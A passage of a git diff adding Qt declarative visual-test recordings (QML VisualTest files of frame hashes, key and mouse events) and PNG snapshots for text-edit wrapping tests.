+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Frame {
+ msec: 8368
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Frame {
+ msec: 8384
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8400
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Frame {
+ msec: 8416
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Frame {
+ msec: 8432
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Frame {
+ msec: 8448
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Frame {
+ msec: 8464
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8480
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8496
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8512
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8528
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8544
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8560
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8576
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8592
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8608
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8624
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8640
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8656
+ image: "usingMultilineEdit.9.png"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8672
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8688
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8704
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8720
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8736
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8752
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8768
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8784
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8800
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8816
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8832
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8848
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8864
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8880
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8896
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8912
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8928
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8944
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8960
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8976
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 8992
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9008
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9024
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9040
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9056
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9072
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9088
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9104
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9120
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9136
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9152
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9168
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9184
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9200
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 70; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9216
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9232
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9248
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9264
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9280
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 70; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9296
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9312
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9328
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9344
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9360
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9376
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9392
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9408
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9424
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Frame {
+ msec: 9440
+ hash: "edf44121a60ee9d975954863c2ed848c"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 71; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9456
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9472
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9488
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9504
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9520
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9536
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 71; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9552
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9568
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9584
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9600
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9616
+ image: "usingMultilineEdit.10.png"
+ }
+ Frame {
+ msec: 9632
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9648
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9664
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 9680
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9696
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9712
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9728
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9744
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9760
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9776
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9792
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9808
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9824
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9840
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9856
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9872
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9888
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9904
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9920
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9936
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9952
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9968
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 9984
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10000
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10016
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10032
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10048
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10064
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10080
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10096
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10112
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10128
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10144
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10160
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10176
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10192
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10208
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10224
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10240
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10256
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10272
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10288
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10304
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10320
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10336
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Frame {
+ msec: 10352
+ hash: "956f4f8cfca76cfee9babea29b0715ea"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10368
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10384
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10400
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10416
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10432
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10448
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10464
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10480
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10496
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10512
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10528
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10544
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10560
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10576
+ image: "usingMultilineEdit.11.png"
+ }
+ Frame {
+ msec: 10592
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10608
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10624
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10640
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 10656
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10672
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10688
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10704
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10720
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10736
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10752
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10768
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10784
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10800
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10816
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10832
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10848
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10864
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10880
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10896
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10912
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10928
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10944
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10960
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10976
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 10992
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11008
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11024
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11040
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11056
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11072
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11088
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11104
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11120
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11136
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11152
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11168
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11184
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11200
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11216
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11232
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11248
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11264
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11280
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11296
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11312
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11328
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11344
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11360
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11376
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11392
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11408
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11424
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11440
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11456
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11472
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11488
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11504
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11520
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11536
+ image: "usingMultilineEdit.12.png"
+ }
+ Frame {
+ msec: 11552
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11568
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11584
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11600
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+ Frame {
+ msec: 11616
+ hash: "b58ab2c31823e7b0be144fba3e77368a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.png
new file mode 100644
index 00000000..da3b9711
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.png
new file mode 100644
index 00000000..8ea07878
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.png
new file mode 100644
index 00000000..33328db5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.png
new file mode 100644
index 00000000..222ba535
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.png
new file mode 100644
index 00000000..970e73d4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.png
new file mode 100644
index 00000000..4dc64a12
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.png
new file mode 100644
index 00000000..99d451c4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.7.png
new file mode 100644
index 00000000..d624a719
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml
new file mode 100644
index 00000000..13834f03
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml
@@ -0,0 +1,2467 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap.0.png"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 33554432
+ text: "54"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 32
+ hash: "ca07773bf0df96be1f23d13c4d6e2bfd"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 48
+ hash: "ca07773bf0df96be1f23d13c4d6e2bfd"
+ }
+ Frame {
+ msec: 64
+ hash: "ca07773bf0df96be1f23d13c4d6e2bfd"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 80
+ hash: "ca07773bf0df96be1f23d13c4d6e2bfd"
+ }
+ Frame {
+ msec: 96
+ hash: "ca07773bf0df96be1f23d13c4d6e2bfd"
+ }
+ Key {
+ type: 6
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 112
+ hash: "fc223de2e1f35db08d9689bc41f02304"
+ }
+ Frame {
+ msec: 128
+ hash: "fc223de2e1f35db08d9689bc41f02304"
+ }
+ Frame {
+ msec: 144
+ hash: "fc223de2e1f35db08d9689bc41f02304"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 160
+ hash: "dc208fb5236b0a2a54bf9aaf7a9d60cd"
+ }
+ Frame {
+ msec: 176
+ hash: "dc208fb5236b0a2a54bf9aaf7a9d60cd"
+ }
+ Frame {
+ msec: 192
+ hash: "dc208fb5236b0a2a54bf9aaf7a9d60cd"
+ }
+ Key {
+ type: 7
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 208
+ hash: "dc208fb5236b0a2a54bf9aaf7a9d60cd"
+ }
+ Frame {
+ msec: 224
+ hash: "dc208fb5236b0a2a54bf9aaf7a9d60cd"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 240
+ hash: "c017468afd522089b5c9f42dd61be1b4"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 256
+ hash: "c017468afd522089b5c9f42dd61be1b4"
+ }
+ Frame {
+ msec: 272
+ hash: "c017468afd522089b5c9f42dd61be1b4"
+ }
+ Frame {
+ msec: 288
+ hash: "c017468afd522089b5c9f42dd61be1b4"
+ }
+ Frame {
+ msec: 304
+ hash: "c017468afd522089b5c9f42dd61be1b4"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 320
+ hash: "c017468afd522089b5c9f42dd61be1b4"
+ }
+ Frame {
+ msec: 336
+ hash: "c017468afd522089b5c9f42dd61be1b4"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 352
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Frame {
+ msec: 368
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Frame {
+ msec: 384
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Frame {
+ msec: 400
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 416
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Frame {
+ msec: 432
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Frame {
+ msec: 448
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Frame {
+ msec: 464
+ hash: "84b1f1bf26af0da07006bb102d22693f"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 480
+ hash: "a16f5aa01bd07de4ef7f868b7b6116f7"
+ }
+ Frame {
+ msec: 496
+ hash: "a16f5aa01bd07de4ef7f868b7b6116f7"
+ }
+ Frame {
+ msec: 512
+ hash: "a16f5aa01bd07de4ef7f868b7b6116f7"
+ }
+ Frame {
+ msec: 528
+ hash: "a16f5aa01bd07de4ef7f868b7b6116f7"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
